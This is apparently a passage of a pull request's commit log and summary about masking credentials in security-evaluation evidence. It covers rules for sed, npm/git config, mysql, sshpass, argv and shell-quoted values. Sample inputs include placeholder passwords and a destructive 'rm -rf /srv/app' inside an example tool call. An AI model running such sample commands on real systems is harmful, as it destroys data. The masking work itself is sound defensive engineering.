anchored pattern such as "s/^password=.*/password='"NEW"'/", and the same input now takes 0.017 s. A test counts the credential names the masker checks and pins that the count does not grow with the length of the value. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a name past a long sed expression as when no sed is read Reading a name in a masked sed value again only inside its expression kept masking linear, but each part of the expression is read up to 256 characters, so a name further on was no longer read. Its value then stayed where main masks it: in "sed -i 's/TOKEN=.*/export <300 characters> TOKEN='"VALUE"'/'", the value of the pattern name ends at the closing quote, and the VALUE spliced in after it was kept. So was the same splice after a pattern longer than 256 characters. A name that starts no sed pattern or replacement is now also read whenever no value read for such a name holds it, as it is when no sed expression is read. Those values do not overlap, so masking stays linear. Guards pin the three forms on the shared checks and the Harbor template's judge evidence. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): end a quoted or -- config key value at a shell operator A quoted npm, yarn or git config key, or one after "--", was read with the flag value, whose unquoted word runs over ";", "|" and "&". So in npm config set -- password K1;TOKEN="..." the value took "K1;TOKEN=" and the quoted value after it stayed in the evidence, although the assignment rule masked it before those keys were read. The unquoted value of such a key now ends at ";", "|" or "&", as a "_" flag value does. An unquoted key keeps its reading. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): leave a _ flag or config value with a credential name to the assignment rule A "_" flag value, and the value of a quoted config key or one after "--", is read as one word that ends at a quote. When that word was itself an assignment, as in --set_secret API_TOKEN="...", the flag or config rule masked only "API_TOKEN=" and removed the name the assignment rule read before these forms were read, so the quoted value after it stayed. The same happened for a name later in the word (--api_key K1,TOKEN="..."), a name before a spaced separator (--api_key TOKEN = ...), a quoted value that holds a name whose value follows it, and a name that follows the value with no space. Such a value is now left to the assignment rule, which masks it as it did before. A value with no credential name in it is still masked whole. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a credential name past a call or tuple value first word again A call value is read to its first ")" and a tuple value may hold a call, so such a value could run over a credential name that was read before, and that name was then skipped as part of the masked value. When that name had a quoted value with a ")" in it, as in auth=f(u, password="a) b"), or a value glued after a tuple, as in apikey=(()TOKEN=)VALUE, the rest of its value stayed. A credential name in a call value past its first word, or in a tuple value past its first parenthesis, is now read again, as it was before those values were read, and its value extends the masked text. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a credential name in a config value after a separator again npm config set KEY = VALUE is read as an assignment, so VALUE is masked whole. The config rule used to mask only the separator, and the assignment rule then read each name in VALUE. When VALUE was read as one word that ended at a quote, as in npm config set _auth = token="...", the name in it was skipped as part of the masked value and its quoted value stayed. Each credential name in the value of such a key is now read again, so its value extends the masked text, as it did when the separator was masked as the value. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): leave an argv _ flag element with a credential name to the assignment rule An argument list element after a "_" flag is read as the flag value, as on the command line. When that element held a credential name with an empty value and the value was glued after it, as in ["tool", "--db_password", "passwd:""..."], the element was masked and the glued value stayed, although the assignment rule masked it before "_" flags were read. Such an element is now left to the assignment rule, as a "_" flag value on the command line is. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * docs(tier3): say a quoted _ flag or config key value with a credential name is an assignment The docs and CHANGELOG said only an unquoted value after a "_" flag or a quoted or "--" config key is read as an assignment when it holds a credential name. A quoted value of such a flag or key is read that way too, so say so. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read names from an auth scheme word after a config separator npm config set KEY = VALUE is read as an assignment. When KEY names a credential, the config set rule used to mask only the separator, and the assignment rule then read names from the word after it. When that word is an auth scheme word, such as token, the assignment rule now read it as part of the name KEY = token, so in npm config set _authToken = token = "..." only the second = was masked and the quoted value stayed. The same held for :=, : and => after the scheme word. Names after it were also read from a different word than before, so a later name could be skipped. Names are now read from the word after the separator of such a KEY, as they were when only the separator was masked: an auth scheme word there starts a name of its own, whose value is masked too. Only a key that names a credential is read this way, as only its separator was masked. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * test(tier3): pin that a _ flag takes the next word as its - spelling does A _ flag that names a credential is read like its - spelling, so the word after one that takes no value, such as --skip_token_check, is masked as its value. When that word starts a command another rule reads, such as mysql -p, sshpass -p, aws configure set, a .netrc login, npm config set or git config, that command is read as it is after the - spelling. The test checks that both spellings give the same evidence. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a quoted call or tuple argument with a parenthesis whole A call or tuple value read every "(" and ")" as call syntax, even inside a quoted argument, so a password with a parenthesis in it leaked: 'auth=HTTPBasicAuth("bob", "pa)ss"))' fell back to the word "HTTPBasicAuth(", 'auth=HTTPBasicAuth("bob", "pa(ss")' at the end of a line did too, and 'auth=("bob", "pa)ss")' stopped at the ")" inside the string. A tuple or call value is now also read with each JSON-escaped, double- or single-quoted argument that closes on its line read whole, and that reading is used when it runs past the earlier one, so every value masked before is still masked. A call whose quoted argument holds a ")" now ends at its own ")" instead of masking the ")" after it. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): mask a _ flag or config value whole unless a name in it runs past it The value of a "_" flag, or of a quoted config key or one after "--", was left to the assignment rule whenever it held a credential name. That rule skips location, type and count names and a bare PASS with a number, so "--set_secret SLACK_TOKEN_URL=https://...", "--api_key auth_type=VALUE" and "--db_password PASS=1234" were kept in full, also as an argv element and as the value of "npm config set -- _authToken". When the rule did mask, a name whose value ended inside the flag value left the text before it: "--db_password VALUE,token=x" kept VALUE. The value is now left to the assignment rule only when that rule masks the value of a credential name in it past the value's end, as in '--set_secret API_TOKEN="..."'. Any other value is masked whole, as after the "-" spelling or an unquoted key. Each name is read on its own, as the assignment rule reads it: the rule's choice of how to read a value moves into _assignment_value_reading and _assignment_name_is_kept, which the rule and the new _AssignmentValues share. _AssignmentValues is made per text, so nothing is kept between calls. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): keep masking the credentials a masked flag value hides A credential flag that takes no value ("--use_token", "--skip-token-check") reads the next word as its value and masks it. When that word starts a command whose password a later rule masks, that rule no longer saw the command, so "./wrap --use_token mysql -u root -pVALUE db" kept VALUE. The same held before sshpass -p, docker login -p, aws configure set, an npm or git config set key and a .netrc login ... password phrase, after a "\n" inside a flag value or right after it, for an attached "-pVALUE" argv element after a "mysql" or "login" element, and after an argv list whose last element is masked. A flag value inside a .netrc password ended that password at the marker, and one inside a quoted -u value could remove the only colon the -u rule needs ('-u "bob --api_key \"x a:VALUE"'). The flag and argv rules now also mask, as the later rule reads it in the unmasked text, the password of each credential whose command part a masked value overlaps or ends right before, the rest of a .netrc password from a value inside it on, and a -u value left with no colon. Text masked this way may hide another credential, or a name the assignment rule reads, also one it cuts ("-pVALUEpassword: VALUE"), so those are masked in turn. Each credential and name is taken once, so this stays linear in the number of credentials. A flag inside the quoted value of an earlier flag is now read too, so its value is masked where it runs past that value. The rule order is unchanged, so every value masked before is still masked. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * perf(tier3): read each word of a flag value once for all the names in it Judge evidence is masked whole, with no scan window, and a flag value or a masked password may hold many credential names: "--api_key token=x,token=x,..." or a quoted string of "token=a b" pairs. Each name's value was read from the name to the end of its word or string, so the time grew with the square of the text: about 40,000 characters took seconds. A word or the rest of a quoted string is now read once per text, and a name inside a run already read takes that run's end. The runs are kept in the _AssignmentValues of the text being masked, so nothing is kept between calls and masking the same text in several threads at once gives the same evidence. Texts of about 600,000 characters in the shapes the tests use take about a second or less. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a flag inside a flag value only to mask the rest of its value "keep masking the credentials a masked flag value hides" made the flag rule read a flag inside the quoted value of an earlier flag as a flag of its own. Its quoted value can end at the quote that opens the value of a later name, and masking it cut that name off its value, which then stayed: './tool --api-key "x y z --db-password "x TOKEN="VALUE x"' kept 'VALUE x"', and so did 'auth=("u", "VALUE")' after such a value, although both were masked before. That commit said every value masked before was still masked; these were not. A flag inside the value of an earlier flag is skipped again. Only a flag inside the value of a "_" flag, which was read while that value was left unmasked, still counts, and only the rest of its value past the masked value is masked. That rest is handled as the password of a command that the masked value hides, so a name it cuts has its value masked to where the assignment rule ends it, and a credential it runs into is masked as its own rule masks it. Masked spans that touch are masked as one. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read argv list elements before flag values cut them The flag rule masks more than it did before this change set: a "_" flag value whole, the password of a command a flag value hides, and the rest of a flag value inside a "_" flag value. Such text may end at the opening quote of a login or MySQL client element of an argv list, and the argv rule, which reads the list after the flag rule, then no longer found that element, so the attached password after it stayed: './deploy --set_secret "auth_type=x ["mysql", "-u", "root", "-pVALUE"]' and './deploy --use_token mysql -u root -p"x ["mysql", "-pVALUE"]' kept VALUE, which was masked before. When the flag rule masks a value, it now also masks what the argv rule masks in the text as it was before, and the argv rule then reads the masked text as before. The argv rule's spans are returned by _argv_credential_spans for both uses. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * perf(tier3): find argv command elements by bisection and skip spans inside others An attached "-pVALUE" argv element counts after a login or MySQL client element in the 256 characters before it. Each such element searched those characters with two patterns, and the argv rule now reads a list both before and after flag values are masked, so a long list of attached elements, as in '["w", "--use_token", "mysql", "-pX", "-pX", ...]', took twice as long as before this change set: about 2.6 seconds for 600,000 characters. The login and MySQL client elements are now read once, at every position, so one that starts inside another (\"login\" at its backslash and at its quote) is still found, and each attached element looks them up by bisection. The elements found are those the searches found. A masked password that holds many credential names, as in "--use_token login bob password token=token=...", gave a span for each name whose value runs past it, and each span looked for every credential it hides. A span inside one added before it for the same password takes nothing that one has not taken, so it now looks only for a credential that starts where it does. What is masked is unchanged. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): mask the rest of a name's value past a masked flag value In a tool call's JSON arguments repeated as JSON, the value of a name right after an escaped quote ends at the next JSON-escaped line break or escaped quote, while a credential name further on reads the rest of the outer string. A flag value runs over such a line break or quote, so once the flag rule masks it, the earlier value runs on over the later name, which the assignment rule then skipped. The credential that name's value covered, such as an sshpass, mysql or aws configure set password on a later line, stayed in the evidence: \"password: x --api_key K1\\nb passwd = V\\nsshpass -p SECRET ssh h The assignment rule now reads a name inside a masked value again when text an earlier rule masked lies between the start of that value and the name, and masks the rest of the name's own value, as read on its own. Each name is read with the cached runs of _AssignmentValues, so masking stays linear on long text. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * perf(tier3): read a flag value word once for all the flags inside it The flag rule read the value of every credential flag inside the value of an earlier flag before it checked where that flag started. A word value runs over escaped spaces and escaped quotes, so each inner flag joined to its value by "=" read the rest of the word again, as in "--password a\ --db-password=a\ --db-password=a..." or in an argv list in JSON repeated as JSON, where every quote is escaped. Masking such text took quadratic time: about 5 seconds for 70,000 characters, where it took 10 milliseconds before. A flag inside the value of an earlier "-" flag is skipped again before its value is read, as that value is never used. Inside the value of a "_" flag, where the rest of an inner flag's value is still used, a word value is now read through the same per-text run cache as assignment values, so each word is read once. The masked text is unchanged. The long-text timing test gets these shapes. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): keep a value left to the assignment rule when it is masked again Masking its own output could change it: "--api_key API_KEY=<redacted>", what a "_" flag value with a quoted credential value becomes, was masked whole the second time. Judge evidence is masked whole and then line by line again, and a password at the start of a line, which the whole pass masks together with the unquoted value that ends the line before, is found by the rest of that line after the marker. With the flag value masked whole there, the rest no longer matched, and a mysql, sshpass, --token, config set, aws configure set or git config password on such a line was kept. A credential name whose value starts with a marker now counts as one whose value runs past the "_" flag value, config key value or argv element it is in, as it did when that value was first read, so that value is left to the assignment rule again. A flag or header name does not count, as the flag and header rules mask its value before the value around it is read. Inside a quoted string the whole pass can still leave such a flag value to the assignment rule where the line on its own masks it whole, so the line pass also finds the rest of a line without the word that ends at the next marker. A new test masks every string the parametrized tests of the module pass twice and expects the same text, except where a marker is read again with the brackets, commas or backslashes after it, or as the start of a .netrc password. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a hidden login or mysql password with flag values masked A flag that takes no value masks the next word. When that word is the command word of a docker login or mysql command, the password that rule would mask was read in the text before any flag value was masked. A -p inside a later flag value ("--token \"x -p y\" -p VALUE") then ended that reading at the wrong -p, and a ; or a long value there stopped it, so the real password stayed. Such a password is now also read as the login or mysql rule reads it once the flag values are masked, from the end of the command words. The argv rule's reading inside the flag pass masks the flag values too, so a login after an argv list keeps the same reading. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a config set key and separator after a masked command word The assignment rule reads "npm config set KEY = NAME=VALUE" as a config set key followed by a separator word, and then reads each name after that separator. It found that form by its command word. When a flag that takes no value masks that word ("--use_token npm config set _auth = token=\"...\""), the form was no longer found, the name after the separator was skipped as part of the key's value, and its quoted value stayed. A marker in place of the npm, pnpm, yarn or git command word now counts too, so the value is masked as it is without the flag, in either spelling of the flag. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * docs(changelog): say how far a call value was masked before The Unreleased entry said a call value with a ( or ) inside a quoted argument was masked only up to that parenthesis. Before this change any auth=HTTPBasicAuth("bob", "...") call value was masked only up to the class name; only a tuple value was masked up to the parenthesis inside its quoted argument. Say so. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): mask the value of a config key whose quotes are JSON-escaped An npm config set, yarn config set or git config key whose double quotes are JSON-escaped, as in saved tool-call arguments, was not read, so its value stayed in finding and judge evidence. The shared masker, which the Harbor verifier also uses, now reads one or two levels of escaped quotes around the key. Signed-off-by: Christopher Kevin <[email protected]> * fix(tier3): mask a credential on the line after an unquoted value's escaped line break An unquoted assignment value runs over a JSON-escaped line break as one word, so a credential name that starts the next line lay inside the masked value and was not read. When that line held a tuple, a call or a quoted value with spaces, as in API_TOKEN=a\nauth=("bob", "..."), the credential stayed in finding and judge evidence. Such a name is now read on its own and its value is masked, as for a name after a masked flag value. Signed-off-by: Christopher Kevin <[email protected]> * docs(changelog): state the evidence masking change as a short rule The Unreleased entry listed every masked form, separator and exception in one long bullet. It now names the five forms that kept a credential, the flag that took the next command word, and the apply_patch cut, and leaves the exact forms to the Tier 3 live evaluation guide. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * docs(tier3): update the masking gaps for escaped readings The guide said text after a flag value inside the quoted value of an earlier _ flag could stay when the two values use different quotes, such as \" and \\\". Finding and judge evidence are now also read with one and two levels of escapes removed, so that text is masked, in plain text and in JSON. Such text stays only where it is escaped more than three times or is a single-quoted value escaped three times, as the guide already says for any value. The guide now also lists the arguments of a call value whose single quotes are escaped inside a single-quoted Python string, as in 'auth=HTTPBasicAuth(\'bob\', \'...\')'. Such a string closes at the first escaped quote, as in a shell, so only the call name is masked, as on main. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a config set command after an escaped line break A config set command that starts a line after a "\n", "\r" or "\t" escape ("db\nnpm config set _auth = token=\"VALUE\"") was not read, because the escape's letter joined its first word. The assignment rule then masked only "token=" as the value of "_auth = ", so the quoted value after it stayed in finding and judge evidence, also when another value on the same line was masked. The command word may now follow such an escape. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): end a quoted config value after a separator at a shell operator Inside a quoted string the value of a config set key after a separator word ("npm config set _auth = VALUE") was read to the closing quote, also over "&&" and the commands after it. In a Python string such as os.system('npm config set _auth = token="..." && mysql -u root -p\'VALUE\' db') that read ended at the escaped quote before the MySQL password, which the MySQL rule then no longer read, so the password stayed in finding and judge evidence. That value now also ends at a shell operator and at an escaped quote, and the spaces before them. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): mask every place a reading's marker can stand for Text escaped again is also read with one and two levels of escapes removed, and what a reading masks is mapped back to the text by the text kept between its markers. Where that kept text fits the reading in more than one place, nothing was masked for the markers around it. So a docker login password after a decoy "-p" in an earlier flag value (--token "x -p y" -p VALUE) stayed in a tool call escaped twice, as in a RAGAS prompt, and so did the arguments of a spaced call value (session.auth = HTTPBasicAuth("bob", "VALUE")) with the same flag twice after it. Such a marker now masks everything from where the kept text before it ends at the earliest to where the kept text after it starts at the latest. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a value in escaped single quotes whole A credential name whose value starts with an escaped single quote, as in Python source (os.system('export DB_PASSWORD=\'two words\' && ./deploy')), kept the words after the first one in finding and judge evidence. The assignment rule now reads such a value to its escaped closing quote, as it reads a value in JSON-escaped double quotes. A "_" flag value that holds such a name ("--auth_token API_KEY=\'two words\'") is left to that rule, as one that holds a name whose value runs past the flag word is, so the words after the first one are no longer kept there either. The test that masks masked text again now also masks texts the tests build from their parameters, and checks that a second pass shows nothing more and masks only text right after a marker: it may read a marker as the start of a value and mask the text after it, as it does for the rest of a quoted string or the word after a "\n" escape. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a flag value quoted with a shell quote idiom whole Inside a single-quoted command string (ssh host '...', bash -c '...') a value is quoted with the '"'"' or '\'' idiom, which closes that string, writes a quote and opens it again. The flag rule read only the first three characters of the idiom as the value, so the words of --password '"'"'two words'"'"' were kept, also after sshpass -p and the other rules that read a flag value, and the quotes after it were read out of step. A call value later in the string (client.auth=HTTPDigestAuth(...)) then read as inside a double-quoted string, so only its first word was masked. Such a value now runs to the next idiom or the end of the line. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * perf(tier3): skip names that cannot run past a "_" flag word A "_" flag or quoted config value is left to the assignment rule when a name in it has a value that runs past it, so every name in the value was read with the assignment rule's full reading, and the quotes of the whole text were read first. On a 1 MB word with 100,000 names in it ("--db_password a\ -token=a\ -token=a...") that took about eight times as long as the masker took without reading "_" flags. A name inside an unquoted word that "=" joins to a value starting as a word and no call reads the rest of that same word, so it is no longer read. No name is looked for past the last "=" or ":" of the value, the quotes are read only as far as a position asked for, and the names a masked value may hide are found only once a masked value hides a credential. That shape now takes about four times as long as without the "_" flag reading, and a long word after a few names about three times. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): end a sed name's quoted value with its expression A credential name that starts a part of a sed expression inside a JSON string ({"command": "sed -i 's/token_count: .*/token_count: 4096/' cfg.yml && rm -rf /srv/app"}) read its value as the rest of that string, past the shell quote that closes the expression, so finding and judge evidence lost the command after it, also after a line continuation. A value read as the rest of a quoted string now ends with the sed expression its name starts a part of, when that expression ends with its closing "/". The sed flags after that "/" are kept ("s/__TOKEN__/token=<redacted>g"). Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * test(tier3): cover the judge line pass in text that holds a NUL Judge evidence that holds a NUL character is not read again with its escapes removed, so only the line pass of the Harbor verifier masks the rest of a line after a "_" flag value that the whole pass left to the assignment rule. The line-start test now also runs with a NUL in the text, and fails when that line pass reads such a line as it did before. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * Revert "fix(tier3): end a sed name's quoted value with its expression" This reverts commit 5421da7. Ending the value there kept the command after a sed expression inside a JSON string, but the rest of that string also holds credentials in forms no rule reads, which the longer value masked: a sed placeholder replacement ("s/PASSWORD/VALUE/"), a backreference before "=" ("s/^\(client_secret\)=.*/\1=VALUE/"), a here-string after --password-stdin. On a corpus of 140,000 generated commands, about 120 to 240 more such values per evidence kind were kept. The value of such a name runs to the end of the quoted string again. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read an assignment value quoted with a shell quote idiom whole A credential name in a single-quoted command string whose value is quoted with the '"'"' or '\'' idiom (bash -c 'export DB_PASSWORD='"'"'two words'"'"' && ...') was read as an empty value that the idiom's first quote closes, so only the idiom's middle was masked and the words of the value were kept. Such a value is now read to the next idiom, as a flag value is. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): read a MySQL password quoted with a shell quote idiom whole Inside a single-quoted command string, an attached MySQL password quoted with the '"'"' or '\'' idiom (bash -c 'mysql -u root -p'"'"'VALUE'"'"' db') had only the idiom's middle masked, so the password was kept. It is now read to the next idiom, as a flag value is. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * docs(tier3): list the masking forms and gaps found in escaped and quoted text State that a config set command may follow a "\n", "\r" or "\t" escape, that a quoted config value after a separator ends at a shell operator or an escaped quote, and that values in escaped single quotes or quoted with the '"'"' or '\'' idiom are masked whole. Narrow the sentence on a password after a flag value that holds a "-p" or ";" to credential flag values, and the sed replacement form to the "/" delimiter. Add the forms that can still appear (a here-string password, a pip config set value, a sed replacement that names no credential or uses another delimiter in a command string, a mysql password after a ";" in another flag value, an auth= call quoted with nested idioms, a call value split over lines in JSON text) and the text masked when a reading's kept text fits more than one place or a sed name starts a value inside a JSON string. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * docs(changelog): cut the evidence masking entry to the rule State the masking change in a few lines and leave the exact forms to the Tier 3 live evaluation guide. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * style(tier3): format the evidence masking code and tests Apply the formatter to the lines this branch changed, bind the call counter of the name-read test once outside its loop, and give the passwords of the spaced call test plain names. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * perf(tier3): skip flags inside a "_" flag word that end with it A flag inside the masked value of an earlier "_" flag is read so that the rest of its own value past that value can be masked. When the earlier value is an unquoted word that ends at whitespace, a quote, a backtick or the end of the text, a flag inside it whose value starts there as a word ends where that word ends, so it is no longer read. On a 1 MB word of 100,000 such flags ("--db_password a\ -token=a\ -token=a...") masking took about 0.9 s and now takes about 0.7 s, against 0.22 s without the "_" flag reading. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * docs(tier3): say a value after a flag or config value line break can appear A credential name at the start of a line after a "\n" escape is read on its own when an unquoted assignment value ran over it. When a flag or config value runs over the escape, a tuple or call value on that line (--password K1\nauth=("bob", "...")) keeps its arguments, so list it with the forms that can still appear and narrow the sentence to assignments. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * perf(tier3): skip evidence searches that cannot match Masking finding and judge evidence searched each whole text for each command credential rule, the attached "-pVALUE" argv element and the config set forms, several times per reading, also where the text holds none of the words such a match needs ("login", "mysql", "sshpass", "npm" and "config", ...). Those searches are now skipped, as are a second read of the attached elements when no argv value is masked, lookups in empty span indexes, a second match of each name in a flag's word that ends before its last separator, and a search call per assignment name: one finditer reads the names, starting again only after a config set name. The masked text is the same. On the 19 long-text shapes of the flag tests at 500,000 characters, masking took 0.4 to 3.8 times as long as on main and now takes 0.3 to 2.4 times as long; the argv list in JSON before a long word went from about 1.8 to 1.0 times. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * test(tier3): check that masking behind flags grows linearly The long-text flag test timed one masking of each text of 40,000 to 500,000 characters against a fixed two-second wall-clock limit, which depends on the runner's speed and load and does not test the near-linear growth its comment states. Each shape is now a function of the length, whose units grow in number with the text, and the test measures it with the escaped-again tests' _masking_seconds: 10,000 and 100,000 characters masked in turn, best of three, in thread CPU time with garbage collection paused, and the larger may take at most 16 times as long plus 0.05 s. The argv list before a long word now holds a flag per 2,500 characters, so a flag reading the word again grows with the square of the text. A control test runs the same measurement and bound on value-less flags in a quoted string of 3,000 and 30,000 characters, once as masking reads them and once with a reading that reads each word or quoted rest again from every name in it, and checks that the bound accepts the first and rejects the second. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> --------- Signed-off-by: Narendran Raghavan <[email protected]> Signed-off-by: Christopher Kevin <[email protected]> Co-authored-by: Claude Opus 5.5 <[email protected]> Co-authored-by: Christopher Kevin <[email protected]>
Summary
Tier 3 security findings copied credentials from commands and tool inputs into saved reward JSON, collected results, and reports. Findings now save the canonical protected entry for path access/writes, or credential-masked command, prompt, and response text for other security findings.
@; double-quoted values consume escapes; shell continuations are removed before matching while ordinary newlines remain intact.Masking is best effort. The documentation lists unsupported forms, including arbitrary prose secrets, some short flags and query names, and multiword unquoted values. It also explains the single-entry baseline attribution contract.
Validation
public-extra-vector-dbanchor intests/test_oss_packaging.py; the checker, test, and boundary allowlist are unchanged from main.Current-head CI is being monitored. No merge was performed.